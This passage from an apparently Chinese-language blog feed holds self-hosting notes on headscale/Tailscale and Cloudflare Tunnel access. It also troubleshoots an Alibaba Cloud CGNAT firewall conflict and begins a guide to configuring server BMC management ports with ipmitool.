docker-compose exec headscale headscale nodes list                # 节点与状态
docker-compose exec headscale headscale nodes expire -i &amp;lt;id&amp;gt;      # 踢下线
docker-compose exec headscale headscale preauthkeys create --user &amp;lt;id&amp;gt; --expiration 24h   # 新设备入网 key
docker-compose exec headscale headscale apikeys create            # headplane 登录 key(只显示一次)
docker-compose exec headscale headscale nodes list-routes                # 子网路由审批(0.29.3 语法;旧 routes list&amp;#x2F;enable 已移除)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;固定节点 IP(headscale 无 CLI,直接改库;先备份,改完重启 headscale 和客户端):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker exec headscale headscale nodes list -o json | grep -i given_name   # 确认节点 ID
docker stop headscale
cp &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;p2p&amp;#x2F;data&amp;#x2F;db.sqlite* &amp;#x2F;tmp&amp;#x2F;
python3 -c &amp;quot;import sqlite3; d=sqlite3.connect(&amp;#x27;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;p2p&amp;#x2F;data&amp;#x2F;db.sqlite&amp;#x27;); d.execute(\&amp;quot;UPDATE nodes SET ipv4=&amp;#x27;100.64.0.100&amp;#x27; WHERE id=3\&amp;quot;); d.commit()&amp;quot;
docker start headscale
tailscale up --login-server=https:&amp;#x2F;&amp;#x2F;headscale.demo.com:8443 --operator=peter   # 重新拉取地图
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gong-wang-fang-wen-bei-xuan-fang-an-yi-chun-cloudflare-tunnel-wei-qi-yong-bei-xuan&quot;&gt;公网访问备选方案一:纯 Cloudflare Tunnel(未启用,备选)&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;关键认知:Tunnel(通道)不需要 Zero Trust 组织、不需要信用卡;Access(认证门)才需要&lt;&#x2F;strong&gt;。纯 CLI 路线全程只碰 CF 基础 DNS + 隧道:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cloudflared tunnel login                      # 浏览器授权
cloudflared tunnel create caddy-tunnel        # 建隧道
cloudflared tunnel route dns caddy-tunnel panel.demo.com   # 加 CNAME
# &amp;#x2F;etc&amp;#x2F;cloudflared&amp;#x2F;config.yml 在 404 兜底前插入:
#   - hostname: panel.demo.com
#     service: http:&amp;#x2F;&amp;#x2F;localhost:3000
sudo systemctl restart cloudflared
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;headplane 侧同步改配置并重启(启用公网方案时,与 tailnet 内访问二选一或共存):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;server:
  base_url: &amp;quot;https:&amp;#x2F;&amp;#x2F;panel.demo.com&amp;quot;   # 必须改,否则登录后跳转回 localhost
  cookie_secure: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;访问 &lt;code&gt;https:&#x2F;&#x2F;panel.demo.com&#x2F;admin&lt;&#x2F;code&gt;,用 headscale API key 登录。安全模型:无端口暴露 + TLS + API key 单层认证。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gong-wang-fang-wen-bei-xuan-fang-an-er-zero-trust-access-wei-qi-yong-bei-xuan-bang-qia-bian-yuan-shuang-yin-zi&quot;&gt;公网访问备选方案二:Zero Trust + Access(未启用,备选,绑卡边缘双因子)&lt;&#x2F;h2&gt;
&lt;p&gt;创建 Zero Trust 组织时 CF 要求添加付款方式(风控,Free 计划 50 用户不扣费)。之后:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Tunnel → Public Hostname 添加 &lt;code&gt;panel.demo.com&lt;&#x2F;code&gt; → HTTP → &lt;code&gt;localhost:3000&lt;&#x2F;code&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;Access → Applications → Self-hosted → 配置 Email OTP(或 Google)策略。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;访问流程:浏览器 → CF 边缘邮箱验证码(未认证请求到不了 VPS)→ 隧道 → headplane API key。双因子 + 边缘审计,代价是绑卡一次 + 依赖 CF 零信任产品线(国内 VPS↔CF 边缘稳定性需实测)。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;维度&lt;&#x2F;th&gt;&lt;th&gt;方案一 纯隧道&lt;&#x2F;th&gt;&lt;th&gt;方案二 Zero Trust + Access&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;成本&lt;&#x2F;td&gt;&lt;td&gt;0 元,无卡&lt;&#x2F;td&gt;&lt;td&gt;0 元(Free),绑卡验证一次&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;认证&lt;&#x2F;td&gt;&lt;td&gt;headplane API key 单层&lt;&#x2F;td&gt;&lt;td&gt;CF 双因子 + API key 两层&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;攻击面&lt;&#x2F;td&gt;&lt;td&gt;无端口,有认证入口&lt;&#x2F;td&gt;&lt;td&gt;认证在边缘,请求到不了 VPS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;审计&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;CF 登录审计&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;个人场景方案一已够用;两方案可随时切换,隧道配置完全复用。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fei-qi-wg-easy&quot;&gt;废弃 wg-easy&lt;&#x2F;h1&gt;
&lt;p&gt;VPS 上原有 wg-easy(WireGuard 管理面板)与新方案并存无冲突,确认废弃后清理:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker-compose rm -sf wg-easy          # 停并删容器
docker volume rm wg-easy_etc_wireguard # 删数据卷(已空)
# 从 docker-compose.yaml 移除服务块(先备份)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;残留:旧配置目录(root 属主,需 sudo 删)、安全组 51820&#x2F;udp 放行(无害可留)。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;a-li-yun-nei-wang-fu-wu-bei-tailnet-cgnat-wang-duan-chong-tu-zu-duan-2026-08-21-shi-ce&quot;&gt;阿里云内网服务被 tailnet CGNAT 网段冲突阻断(2026-08-21 实测)&lt;&#x2F;h1&gt;
&lt;p&gt;2026-08-21,VPS 上阿里云自动备份(hbrclient)持续失败,排查后定位为 &lt;strong&gt;tailnet CGNAT 网段与阿里云 VPC 内网服务网段重叠&lt;&#x2F;strong&gt;,入向回包被 tailscale 防火墙丢弃。这也是 8-14 部署时&quot;VPC DNS 不可达&quot;坑的真身(见本节末尾关联)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hbrclient.service&lt;&#x2F;code&gt;(Alibaba Cloud Backup Service)反复重启,日志反复报 &lt;code&gt;NoAvailableEndpoint&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ss -tn&lt;&#x2F;code&gt; 可见发往 &lt;code&gt;100.100.105.60:443&lt;&#x2F;code&gt; 的连接永远卡在 &lt;code&gt;SYN-SENT&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;VPC 内网 DNS(100.100.2.136)解析一度超时&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;gen-yin-liang-ge-100-wang-duan-zhuang-che&quot;&gt;根因:两个&quot;100 网段&quot;撞车&lt;&#x2F;h2&gt;
&lt;p&gt;headscale 默认给 tailnet 分配 &lt;code&gt;100.64.0.0&#x2F;10&lt;&#x2F;code&gt;(config &lt;code&gt;prefixes.v4&lt;&#x2F;code&gt;)。Tailscale 客户端为防 IP 欺骗,在 &lt;code&gt;ts-input&lt;&#x2F;code&gt; 链装了丢弃规则:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;-A ts-input -s 100.64.0.0&amp;#x2F;10 ! -i tailscale0 -j DROP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而阿里云 VPC 内网服务恰好也落在 &lt;code&gt;100.64.0.0&#x2F;10&lt;&#x2F;code&gt; 内:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;地址&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;稳定性&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;100.100.2.136&#x2F;138&lt;&#x2F;td&gt;&lt;td&gt;VPC 内网 DNS&lt;&#x2F;td&gt;&lt;td&gt;固定(DHCP 同步推送路由)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;100.100.100.200&lt;&#x2F;td&gt;&lt;td&gt;ECS metadata(实例身份)&lt;&#x2F;td&gt;&lt;td&gt;固定&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;100.100.105.60&lt;&#x2F;td&gt;&lt;td&gt;HBR 备份 MQTT 通道(&lt;code&gt;post-cn-xxx-internal.mqtt.aliyuncs.com&lt;&#x2F;code&gt; 解析)&lt;&#x2F;td&gt;&lt;td&gt;域名稳定,IP 可能轮换&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;机制:&lt;strong&gt;出站请求正常&lt;&#x2F;strong&gt;(路由走 eth0,table 52 无覆盖路由),但&lt;strong&gt;回包&lt;&#x2F;strong&gt;源地址落在 CGNAT 段且非来自 tailscale0 → 命中 DROP → TCP 永远建不起连接。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-yao-dian-shi-ce-ming-ling&quot;&gt;排查要点(实测命令)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip rule show                       # 5270: from all lookup 52(优先级高于主表 32766)
ip route show table 52             # 只有 tailnet peer IP,无 100.100.x 覆盖路由 → 路由没问题
ip route get 100.100.2.136         # via &amp;lt;VPC网关&amp;gt; dev eth0 → 出站正常
ss -tn | grep 100\.                # SYN-SENT 100.100.105.60:443 ← 实锤
sudo iptables -S ts-input          # 看到 -s 100.64.0.0&amp;#x2F;10 ! -i tailscale0 -j DROP
tail -30 &amp;#x2F;opt&amp;#x2F;alibabacloud&amp;#x2F;hbrclient&amp;#x2F;logs&amp;#x2F;hbrclient.log
# &amp;quot;Cannot connect to wss:&amp;#x2F;&amp;#x2F;post-cn-xxx-internal.mqtt.aliyuncs.com:443 ... i&amp;#x2F;o timeout&amp;quot;
# &amp;quot;Failed to get ECS metadata ... 100.100.100.200:80 i&amp;#x2F;o timeout&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一句话定位:&lt;strong&gt;路由没坏,坏在防火墙对&quot;内网回包&quot;的防欺骗丢弃&lt;&#x2F;strong&gt;(先查 &lt;code&gt;ip route get&lt;&#x2F;code&gt; 排除路由,再看 &lt;code&gt;ss&lt;&#x2F;code&gt; 抓 SYN-SENT 定位目标 IP,最后 iptables 确认 DROP 规则)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-fu-fang-xing-a-li-yun-nei-wang-fu-wu-duan&quot;&gt;修复:放行阿里云内网服务段&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo iptables -I ts-input 1 -s 100.100.0.0&amp;#x2F;16 -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;100.100.0.0&#x2F;16&lt;&#x2F;code&gt; 是阿里云内网服务固定段,一条覆盖 DNS&#x2F;metadata&#x2F;MQTT 及后续新增内网 endpoint,换 IP 无需维护。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chi-jiu-hua-bi-cai-de-keng&quot;&gt;持久化(必踩的坑)&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;tailscaled 每次启动会重建 ts-* 链并冲掉自定义规则&lt;&#x2F;strong&gt;;&lt;code&gt;iptables-persistent&lt;&#x2F;code&gt; 恢复时机在 tailscaled 之前,同样会被清。需 systemd oneshot(&lt;code&gt;After=tailscaled.service&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;ts-input-aliyun-allow.service
[Unit]
Description=Allow Aliyun internal 100.100.0.0&amp;#x2F;16 in ts-input
After=tailscaled.service

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;iptables -C ts-input -s 100.100.0.0&amp;#x2F;16 -j ACCEPT 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || &amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;iptables -I ts-input 1 -s 100.100.0.0&amp;#x2F;16 -j ACCEPT

[Install]
WantedBy=multi-user.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yan-zheng-1&quot;&gt;验证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;timeout 3 bash -c &amp;#x27;&amp;lt;&amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;100.100.105.60&amp;#x2F;443&amp;#x27; &amp;amp;&amp;amp; echo OK   # 之前 SYN-SENT 卡死,现在应连通
curl -m 3 -s http:&amp;#x2F;&amp;#x2F;100.100.100.200&amp;#x2F;latest&amp;#x2F;meta-data&amp;#x2F;instance-id   # metadata 恢复
grep -i NoAvailableEndpoint &amp;#x2F;opt&amp;#x2F;alibabacloud&amp;#x2F;hbrclient&amp;#x2F;logs&amp;#x2F;hbrclient.log | tail   # 不再新增
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;实测结果(2026-08-21 15:31 起)&lt;&#x2F;strong&gt;:加规则后 TCP 建连立即 OK、metadata 返回 instance-id、&lt;code&gt;ss&lt;&#x2F;code&gt; 从 SYN-SENT 变 ESTAB;hbrclient 重启后日志不再报 &lt;code&gt;Cannot connect&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;NoAvailableEndpoint&lt;&#x2F;code&gt;,MQ 注册成功、任务轮询正常,备份链路恢复。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bei-xuan-fang-an-ji-lu-bei-cha&quot;&gt;备选方案(记录备查)&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;安全性&lt;&#x2F;th&gt;&lt;th&gt;维护量&lt;&#x2F;th&gt;&lt;th&gt;静默失败风险&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;精确 IP 白名单(按日志逐个加)&lt;&#x2F;td&gt;&lt;td&gt;最高&lt;&#x2F;td&gt;&lt;td&gt;低,但要盯日志&lt;&#x2F;td&gt;&lt;td&gt;高(阿里云换 IP 即挂)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ipset + 内网域名定时刷新&lt;&#x2F;strong&gt;(折中)&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;td&gt;中&lt;&#x2F;td&gt;&lt;td&gt;低&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;放行 100.100.0.0&#x2F;16(当前采用)&lt;&#x2F;td&gt;&lt;td&gt;中(有意放宽)&lt;&#x2F;td&gt;&lt;td&gt;最低&lt;&#x2F;td&gt;&lt;td&gt;最低&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;ipset 方案:i 一条 iptables 规则引用 ipset 集合,cron 按&lt;strong&gt;内网 DNS&lt;&#x2F;strong&gt;(&lt;code&gt;dig @100.100.2.136&lt;&#x2F;code&gt;)解析 &lt;code&gt;*-internal.aliyuncs.com&lt;&#x2F;code&gt; 域名刷新集合——必须用内网 DNS 解析,公网 DNS 拿到的是公网 IP,白名单失效;域名清单需随 agent 演进手动增补;ipset 与规则同样需要重启后恢复。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-quan-shuo-ming&quot;&gt;安全说明&lt;&#x2F;h2&gt;
&lt;p&gt;放行 &#x2F;16 使 ts-input 防欺骗对该段失效(tailnet 成员可伪造该段源 IP 直达本机服务)。实际风险低:tailnet 全为自有设备、外部攻击者受阿里云安全组 + vSwitch 源地址校验限制、本机服务无按源 IP 做信任判断者。若未来 tailnet 加入不可信节点,应收窄回精确 IP&#x2F;ipset 方案。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-lian-8-14-bu-shu-shi-de-dns-keng-jiu-shi-ta&quot;&gt;关联:8-14 部署时的 DNS 坑就是它&lt;&#x2F;h2&gt;
&lt;p&gt;部署时&quot;VPC DNS 不可达&quot;当时用 &lt;code&gt;&#x2F;etc&#x2F;hosts&lt;&#x2F;code&gt; 硬编码 + 公共 DNS 绕过,判断为&quot;DNS 污染&#x2F;不可达&quot;。现在看,那次&quot;不可达&quot;正是 ts-input 丢回包(当时 VPS 节点刚加入 tailnet),绕过方案有效但掩盖了根因;本次备份失败把真凶暴露出来,一次解决了两类症状。教训:&lt;strong&gt;加入 tailnet 后阿里云内网服务异常,优先怀疑 CGNAT 网段冲突,而不是 DNS 污染&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;方案&lt;&#x2F;strong&gt;:headscale 控制面 + Tailscale 官方客户端,打洞直连优先、DERP 中继兜底,数据面完全自主可控;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;坑&lt;&#x2F;strong&gt;:备案约束 → 自定义端口;官方 DERP 地图不清空会绕海外;0.29 的 preauthkey 用数字用户 ID;国内 VPS 拉 Docker Hub 需本地中转;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;安全&lt;&#x2F;strong&gt;:默认仅节点互通 + 子网显式开关;DERP 默认 verify_clients;面板经 tailnet 内访问(无公网暴露,四层防护);&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;实测&lt;&#x2F;strong&gt;:打洞成功 21ms 直连,DERP 只走自建节点,证书续期全自动。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;cai-keng-ji-lu-tailscale-serve-zai-ben-tuo-bu-xia-bu-ke-yong-2026-08-15&quot;&gt;踩坑记录:tailscale serve 在本拓扑下不可用(2026-08-15)&lt;&#x2F;h1&gt;
&lt;p&gt;曾尝试用 &lt;code&gt;tailscale serve --bg --http 3000 3000&lt;&#x2F;code&gt; 把 headplane 暴露到 tailnet,实测失败,两个原因:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;代理端口与 docker-proxy 冲突&lt;&#x2F;strong&gt;:serve 的代理监听端口与 headplane 容器已占用的 &lt;code&gt;127.0.0.1:3000&lt;&#x2F;code&gt; 冲突(headplane 容器先于 tailscaled 启动),请求全部返回 &lt;code&gt;404 page not found&lt;&#x2F;code&gt;(Go 默认 404,19 字节);&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;挂载按主机名匹配 Host&lt;&#x2F;strong&gt;:serve 挂载 key 是 tailnet 主机名 &lt;code&gt;iz2zehkipqcroqwfrvhwj7z:3000&lt;&#x2F;code&gt;,而本 tailnet &lt;code&gt;magic_dns: false&lt;&#x2F;code&gt;,其他节点无法解析该主机名、只能用 IP 访问 → Host 匹配失败同样 404。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;&#x2F;strong&gt;:改用 docker 双绑定(&lt;code&gt;127.0.0.1:3000&lt;&#x2F;code&gt; + &lt;code&gt;100.64.0.100:3000&lt;&#x2F;code&gt;)直连,无 serve 的匹配与端口冲突问题;若要恢复 MagicDNS 才能发挥 serve 价值,而 MagicDNS 会干扰公司 DNS(见 config 注释),故弃用 serve。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>服务器管理口（BMC&#x2F;iBMC）排查与配置指南：NPU 与 GPU 服务器实测</title>
        <published>2026-08-13T16:36:14+08:00</published>
        <updated>2026-08-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/npu-gpu-bmc-management-port/"/>
        <id>https://vercel.juzhong.asia/2026/08/npu-gpu-bmc-management-port/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/npu-gpu-bmc-management-port/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;家里&#x2F;机房两台服务器需要确认管理口（BMC）是否开启、如何查看与配置，供后续远程带外管理（KVM、开关机、看硬件状态）参考：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NPU 服务器&lt;&#x2F;strong&gt;（&lt;code&gt;ssh npu&lt;&#x2F;code&gt;）：华为 Atlas，aarch64（Kunpeng），BMC 芯片为华为 iBMC（Hi171x）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GPU 服务器&lt;&#x2F;strong&gt;（&lt;code&gt;ssh gpu&lt;&#x2F;code&gt;）：x86_64，BMC 为 AMI（Supermicro 系）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;di-yi-bu-que-ren-fu-wu-qi-you-mei-you-bmc&quot;&gt;第一步：确认服务器有没有 BMC&lt;&#x2F;h1&gt;
&lt;p&gt;登录服务器后，几个命令快速判断管理芯片是否存在：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls &amp;#x2F;dev&amp;#x2F;ipmi*                      # 有 &amp;#x2F;dev&amp;#x2F;ipmi0 说明 IPMI&amp;#x2F;BMC 设备在位
lspci | grep -iE &amp;#x27;bmc|ipmi|ast|management&amp;#x27;
# Atlas:  Huawei Hi171x Series [iBMC Intelligent Management system chip w&amp;#x2F;VGA support]
# x86:    ASPEED Graphics Family &amp;#x2F; AST1150
dmesg | grep -iE &amp;#x27;ipmi|bmc&amp;#x27;        # IPMI message handler &amp;#x2F; ipmi_si probing
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两台服务器都有 &lt;code&gt;&#x2F;dev&#x2F;ipmi0&lt;&#x2F;code&gt;，BMC 硬件在位。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-er-bu-an-zhuang-ipmitool-bing-cha-kan-guan-li-kou-zhuang-tai&quot;&gt;第二步：安装 ipmitool 并查看管理口状态&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Ubuntu: 需要 root（&amp;#x2F;dev&amp;#x2F;ipmi0 默认 root 权限）
sudo apt-get install -y ipmitool
sudo ipmitool lan print 1          # 查看管理口 LAN 配置
sudo ipmitool mc info              # 查看 BMC 固件信息
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;npu-fu-wu-qi-atlas-ibmc-shi-ce-jie-guo&quot;&gt;NPU 服务器（Atlas iBMC）实测结果&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;IP Address Source       : DHCP Address
IP Address              : 0.0.0.0          ← 未启用&amp;#x2F;未接入网络
MAC Address             : b0:4f:a6:0d:2f:f1
Default Gateway IP      : 0.0.0.0
Firmware Revision       : 3.03
IPMI Version            : 2.0
Manufacturer ID         : 2011             ← Huawei
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;&#x2F;strong&gt;：管理口硬件在位但未开启（DHCP 且 IP 为 0.0.0.0），需要配置静态 IP 并接网线到专用 MGMT 口。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gpu-fu-wu-qi-ami-bmc-shi-ce-jie-guo&quot;&gt;GPU 服务器（AMI BMC）实测结果&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;IP Address Source       : Static Address
IP Address              : 10.10.10.10      ← 已配置（可能是出厂默认）
Subnet Mask             : 255.255.255.0
MAC Address             : 8c:1a:f3:11:59:a1
Default Gateway IP      : 10.10.10.1
SNMP Community String   : AMI
Firmware Revision       : 1.12
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;&#x2F;strong&gt;：管理口已开启，静态 IP &lt;code&gt;10.10.10.10&#x2F;24&lt;&#x2F;code&gt;，网关 &lt;code&gt;10.10.10.1&lt;&#x2F;code&gt;。注意该网段与业务网（192.168.6.0&#x2F;22）隔离，直接访问需要路由或直连管理口。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-san-bu-pei-zhi-guan-li-kou-ip&quot;&gt;第三步：配置管理口 IP&lt;&#x2F;h1&gt;
&lt;p&gt;用 &lt;code&gt;ipmitool lan set&lt;&#x2F;code&gt; 从操作系统内直接配置（无需进 BIOS）。&lt;strong&gt;实测完整命令序列&lt;&#x2F;strong&gt;（NPU 服务器上验证通过）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 改为静态 IP
sudo ipmitool lan set 1 ipsrc static
# 2. 设置管理口 IP 与子网掩码
sudo ipmitool lan set 1 ipaddr 192.168.6.10
sudo ipmitool lan set 1 netmask 255.255.252.0
# 3. 设置网关 —— 注意：defgw 必须带 ipaddr 子命令！
#    直接写 `sudo ipmitool lan set 1 defgw 192.168.6.1` 会报错：
#    &amp;quot;LAN set default gateway Commands: ipaddr, macaddr&amp;quot;
sudo ipmitool lan set 1 defgw ipaddr 192.168.6.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;实测踩坑&lt;&#x2F;strong&gt;：&lt;code&gt;defgw&lt;&#x2F;code&gt; 不是直接给 IP，而是子命令集合，必须写成 &lt;code&gt;defgw ipaddr &amp;lt;IP&amp;gt;&lt;&#x2F;code&gt;（或 &lt;code&gt;defgw macaddr &amp;lt;MAC&amp;gt;&lt;&#x2F;code&gt;），否则命令报错。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;改完验证&lt;&#x2F;strong&gt;（配置写入 ≠ 链路通了）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ipmitool lan print 1 | grep -iE &amp;#x27;IP Address|gateway&amp;#x27;   # 确认配置已生效
ping -c 2 192.168.6.10                                       # 通 = 链路+网络正常
ip neigh | grep 192.168.6.10                                 # 有 lladdr = ARP 解析成功
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
